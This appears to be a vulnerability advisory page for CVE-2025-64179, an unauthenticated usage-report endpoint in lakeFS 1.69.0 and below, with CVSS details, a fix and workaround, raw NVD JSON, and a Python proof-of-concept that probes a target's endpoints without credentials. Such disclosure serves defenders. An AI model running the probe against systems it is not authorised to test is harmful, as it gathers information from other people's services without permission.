Security Vulnerability Report
中文
CVE-2025-64179 CVSS 5.3 MEDIUM

CVE-2025-64179

Published: 2025-11-06 22:15:44
Last Modified: 2026-04-15 00:35:42

Description

lakeFS is an open-source tool that transforms object storage into a Git-like repositories. In versions 1.69.0 and below, missing authentication in the /api/v1/usage-report/summary endpoint allows anyone to retrieve aggregate API usage counts. While no sensitive data is disclosed, the endpoint may reveal information about service activity or uptime. This issue is fixed in version 1.71.0 . To workaround the vulnerability, use a load-balancer or application level firewall in order to block the request route /api/v1/usage-report/summary.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

No configuration data available.

lakeFS <= 1.69.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # CVE-2025-64179 PoC - Unauthorized access to lakeFS usage-report endpoint # Affected versions: lakeFS <= 1.69.0 # Fixed in: lakeFS 1.71.0 def check_vulnerability(target_url): """ Check if the target lakeFS instance is vulnerable to CVE-2025-64179 """ endpoints = [ "/api/v1/usage-report/summary", "/api/v1/usage-report", "/api/v1/usage" ] print(f"[*] Testing target: {target_url}") print(f"[*] CVE-2025-64179: lakeFS Unauthorized Usage Report Access\n") for endpoint in endpoints: url = target_url.rstrip('/') + endpoint print(f"[*] Testing endpoint: {url}") try: # Send unauthenticated request (no headers, no tokens) response = requests.get(url, timeout=10, verify=False) print(f" Status Code: {response.status_code}") if response.status_code == 200: try: data = response.json() print(f" [VULNERABLE] Response contains data: {data}") print(f" [!] The endpoint is accessible without authentication") return True except: print(f" [VULNERABLE] Endpoint accessible, response: {response.text[:200]}") return True elif response.status_code == 401 or response.status_code == 403: print(f" [SAFE] Endpoint requires authentication") else: print(f" [INFO] Unexpected status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f" [ERROR] Request failed: {e}") print(f"\n[*] Scan complete") return False if __name__ == "__main__": import sys if len(sys.argv) > 1: target = sys.argv[1] else: target = "http://localhost:8000" check_vulnerability(target)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-64179", "sourceIdentifier": "[email protected]", "published": "2025-11-06T22:15:44.463", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "lakeFS is an open-source tool that transforms object storage into a Git-like repositories. In versions 1.69.0 and below, missing authentication in the /api/v1/usage-report/summary endpoint allows anyone to retrieve aggregate API usage counts. While no sensitive data is disclosed, the endpoint may reveal information about service activity or uptime. This issue is fixed in version 1.71.0 . To workaround the vulnerability, use a load-balancer or application level firewall in order to block the request route /api/v1/usage-report/summary."}, {"lang": "es", "value": "lakeFS es una herramienta de código abierto que transforma el almacenamiento de objetos en repositorios tipo Git. En las versiones 1.69.0 e inferiores, la falta de autenticación en el endpoint /api/v1/usage-report/summary permite a cualquiera recuperar recuentos agregados de uso de la API. Aunque no se divulga ningún dato sensible, el endpoint puede revelar información sobre la actividad o el tiempo de actividad del servicio. Este problema está solucionado en la versión 1.71.0. Para solucionar la vulnerabilidad, utilice un balanceador de carga o un cortafuegos a nivel de aplicación para bloquear la ruta de solicitud /api/v1/usage-report/summary."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-200"}, {"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://github.com/treeverse/lakeFS/commit/1c8adab852dac2387fcb00a256402b308a610c60", "source": "[email protected]"}, {"url": "https://github.com/treeverse/lakeFS/security/advisories/GHSA-h238-5mwf-8xw8", "source": "[email protected]"}]}}